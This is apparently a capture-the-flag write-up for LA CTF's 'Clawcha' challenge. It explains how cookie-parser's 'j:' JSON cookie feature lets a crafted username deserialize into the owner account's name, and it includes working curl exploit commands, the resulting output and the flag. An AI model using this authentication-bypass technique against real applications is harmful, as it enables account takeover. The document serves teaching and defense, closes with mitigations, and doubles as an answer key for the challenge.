Flag: lactf{m4yb3_th3_r34l_g4ch4_w4s_l7f3}
Challenge Overview
Clawcha is a gacha/claw machine web application built with Express.js. Players can “pull” items from an inventory, each with a different probability of success. The flag is hidden behind an item with a probability of 1e-15 — effectively impossible to win by chance. However, the application’s owner account bypasses the probability check entirely.
Source Code Analysis
The application consists of three key files:
app.js — Main Server
inventory.addItem({ name: 'flag', probability: 1e-15, // good luck msg: process.env.FLAG ?? 'lactf{test_flag}'});
const secret = process.env.SECRET || crypto.randomBytes(16).toString('hex');
const users = new Map([ ['r2uwu2', { username: 'r2uwu2', password: secret, owner: true, }],]);The flag is an inventory item with near-zero probability. A single owner account r2uwu2 exists, whose password is the same cryptographic secret used for cookie signing — unknown and unguessable.
Authentication Middleware
app.use((req, res, next) => { if (typeof req.signedCookies.username === 'string') { if (users.has(req.signedCookies.username)) { res.locals.user = users.get(req.signedCookies.username); } } next();});The middleware reads the username from a signed cookie, looks it up in the users Map, and attaches the user object to res.locals.user. Two important checks:
- The cookie value must be a
string - The username must exist in the users Map
/claw Endpoint
app.post('/claw', (req, res) => { const isOwner = res.locals.user?.owner ?? false; const item = inventory.gacha(req.body.item); const pulled = (item && (Math.random() < item.probability || isOwner)) ? item : null; // ...});If isOwner is truthy, the probability check is bypassed and the item is always returned. This is the only way to reliably get the flag.
/login Endpoint (Combined Login/Register)
app.post('/login', (req, res) => { const username = req.body.username; const password = req.body.password; if (typeof username !== 'string' || typeof password !== 'string') { res.json({ err: 'please provide a username' }); return; } if (!users.has(username)) { users.set(username, { username, password, owner: false }); } if (users.get(username).password !== password) { res.json({ err: 'incorrect creds' }); return; } res.cookie('username', username, { signed: true }).json({ success: true });});New users are created with owner: false. Existing users (like r2uwu2) cannot be re-registered. The signed cookie is set to whatever username string the user provided.
Identifying the Vulnerability
The vulnerability lies in how cookie-parser handles cookie values. Looking at the cookie-parser source (node_modules/cookie-parser/index.js):
req.signedCookies = signedCookies(val, secrets);req.signedCookies = JSONCookies(req.signedCookies); // <-- key lineAfter unsigning cookies, cookie-parser passes them through JSONCookies(), which calls JSONCookie() on each value:
function JSONCookie (str) { if (typeof str !== 'string' || str.substr(0, 2) !== 'j:') { return undefined; } try { return JSON.parse(str.slice(2)); } catch (err) { return undefined; }}Any cookie value starting with j: is automatically JSON-deserialized. This is a documented feature of cookie-parser for storing structured data in cookies — but it creates a critical deserialization mismatch.
The Attack
The login endpoint stores the username as-is in the Map and signs it into a cookie. If we register with a username like j:"r2uwu2", the following chain of events occurs:
Registration (Step 1):
- We POST
{"username": "j:\"r2uwu2\"", "password": "anything"} - The server stores a new user with Map key
j:"r2uwu2"andowner: false - The server signs the cookie value
j:"r2uwu2"with the secret
Cookie Deserialization (Step 2):
- On the next request,
cookie-parserunsigns the cookie, recoveringj:"r2uwu2" JSONCookie()detects thej:prefixJSON.parse('"r2uwu2"')returns the stringr2uwu2(JSON string literal)req.signedCookies.usernameis now"r2uwu2"— the owner’s username
Authentication Bypass (Step 3):
- The middleware checks
typeof req.signedCookies.username === 'string'— passes (it’s a string) users.has("r2uwu2")— passes (the owner exists)res.locals.user = users.get("r2uwu2")— returns{ owner: true }isOwnerbecomestrue, bypassing the probability check
Handling Collisions
Since the challenge instance is shared, another player may have already registered j:"r2uwu2". To get around this, we can use JSON unicode escape sequences. JSON supports \uXXXX escapes, so "\u0072\u0032\u0075\u0077\u0075\u0032" also decodes to r2uwu2.
The username j:"\u0072\u0032\u0075\u0077\u0075\u0032" is a different string in the Map (the backslash-u sequences are stored literally), but JSON.parse resolves the escapes and produces the same result: r2uwu2.
Exploit
# Step 1: Register with a crafted username that JSON-deserializes to "r2uwu2"curl -s -X POST https://clawcha.chall.lac.tf/login \ -H 'Content-Type: application/json' \ -d '{"username":"j:\"\\u0072\\u0032\\u0075\\u0077\\u0075\\u0032\"","password":"pwn"}' \ -c cookies.txt
# Step 2: Use the cookie to pull the flagcurl -s -X POST https://clawcha.chall.lac.tf/claw \ -H 'Content-Type: application/json' \ -d '{"item":"flag"}' \ -b cookies.txtOutput:
{"success":true,"msg":"lactf{m4yb3_th3_r34l_g4ch4_w4s_l7f3}"}Key Takeaways
- Implicit deserialization is dangerous.
cookie-parser’sj:prefix feature silently transforms string cookie values into arbitrary JSON types. This created a gap between what the server stored (a literal username string) and what the middleware received (a deserialized value). - Identity confusion through serialization boundaries. The username crosses two serialization boundaries: it is stored as a Map key (raw string), signed into a cookie (raw string), then deserialized by
JSONCookie(JSON-decoded string). The mismatch between the stored key and the deserialized value is the root cause. - Defense: Validate cookie values after deserialization, not just before. Alternatively, disable
cookie-parser’s JSON cookie feature if it isn’t needed, or sanitize usernames to reject thej:prefix.